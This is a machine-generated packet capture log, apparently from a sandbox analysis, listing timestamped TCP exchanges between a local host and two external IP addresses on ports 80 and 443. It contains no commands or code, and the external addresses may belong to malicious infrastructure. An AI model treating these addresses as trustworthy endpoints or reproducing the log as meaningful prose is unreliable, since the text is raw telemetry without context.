Dec 20, 2024 07:12:38.062552929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.062623978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.067118883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.067136049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.067188978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.067222118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.071808100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.071877003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.071897984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.071957111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.076505899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.076565027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.076577902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.076611996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.080118895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.080184937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.080210924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.080275059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.083800077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.083865881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.083874941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.083928108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.087435961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.087516069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.087593079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.087593079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.091044903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.091114044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.091136932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.091201067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.094700098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.094754934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.094789982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.094841957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.098382950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.098434925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.098445892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.098504066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.101996899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.102056980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.102083921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.102138042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.105633020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.105700016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.105736017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.105824947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.136610985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.136672974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.136737108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.181515932 CET	443	49841	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:38.181605101 CET	49841	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:38.182868958 CET	49841	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:38.182898998 CET	443	49841	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:38.183440924 CET	443	49841	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:38.184851885 CET	49841	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:38.184890985 CET	49841	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:38.185031891 CET	443	49841	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:38.209068060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.209131956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.209146976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.209178925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.210453033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.210513115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.210539103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.210588932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.213315964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.213378906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.214327097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.214382887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.214543104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.214598894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.217267990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.217284918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.217327118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.220105886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.220170021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.220210075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.220263004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.222767115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.222829103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.222872019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.222919941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.225464106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.225528002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.225570917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.225615025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.228141069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.228199005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.228209972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.228257895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.230700016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.230767012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.230771065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.230829000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.233155012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.233218908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.233251095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.233302116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.235697031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.235759974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.235800028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.235881090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.238253117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.238279104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.238323927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.238356113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.240689993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.240755081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.240787029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.240861893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.243184090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.243242979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.243283987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.243347883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.245712042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.245785952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.245788097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.245846987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.248210907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.248262882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.248336077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.248384953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.250675917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.250734091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.250777006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.250829935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.253263950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.253328085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.253341913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.253379107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.255723000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.255772114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.255793095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.255816936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.258203030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.258268118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.258297920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.258354902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.260713100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.260756969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.260776043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.260807037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.263231993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.263288021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.263328075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.263386011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.265037060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.265094995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.265147924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.265197992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.266850948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.266901970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.266954899 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.267009974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.268731117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.268776894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.268810034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.268841028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.270503044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.270558119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.270593882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.270642042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.272341967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.272430897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.272469044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.272500038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.274162054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.274364948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.274411917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.274460077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.275998116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.276063919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.276192904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.276245117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.277785063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.277862072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.277903080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.277950048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.279659033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.279733896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.279774904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.279825926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.281418085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.281476974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.281483889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.281523943 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.401348114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.401424885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.401437044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.401532888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.402122021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.402189970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.402195930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.403373957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.403661966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.403723001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.403780937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.403938055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.405221939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.405343056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.405343056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.405420065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.406789064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.406904936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.406969070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.408360004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.408421040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.408462048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.408521891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.409917116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.409980059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.410028934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.410279036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.411452055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.411608934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.411664963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.413029909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.413115978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.413137913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.413189888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.414634943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.414814949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.414887905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.416151047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.416234970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.416258097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.416332006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.417699099 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.417794943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.417824030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.417854071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.419264078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.419363022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.419400930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.419519901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.420809031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.420867920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.420877934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.420927048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.422367096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.422427893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.422461987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.422513008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.423944950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.424060106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.424115896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.425565004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.425635099 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.426229000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.427059889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.427124977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.427156925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.427351952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.428594112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.428653955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.428685904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.429523945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.430193901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.430320024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.430368900 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.431740999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.431821108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.431849957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.431899071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.433289051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.433428049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.433525085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.433769941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.434910059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.434933901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.434964895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.434995890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.436469078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.436533928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.436568975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.436619043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.437963963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.438014984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.438038111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.438138008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.439551115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.439609051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.439642906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.439692974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.441087008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.441137075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.441186905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.441240072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.442679882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.442734003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.442769051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.442795038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.444227934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.444292068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.444331884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.444387913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.445775986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.445844889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.445902109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.447333097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.447393894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.447485924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.447766066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.448903084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.448961020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.449001074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.449048996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.450510979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.450572968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.450613022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.450666904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.452013969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.452076912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.452117920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.452172995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.453579903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.453687906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.453746080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.455127954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.455187082 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.455226898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.455338955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.456696987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.456758976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.456819057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.457012892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.458286047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.458370924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.458395004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.458425045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.459794998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.459861040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.459863901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.459947109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.461394072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.461462021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.461622953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.461854935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:38.462912083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:38.462948084 CET	80	49838	31.41.244.11	192.168.2.4
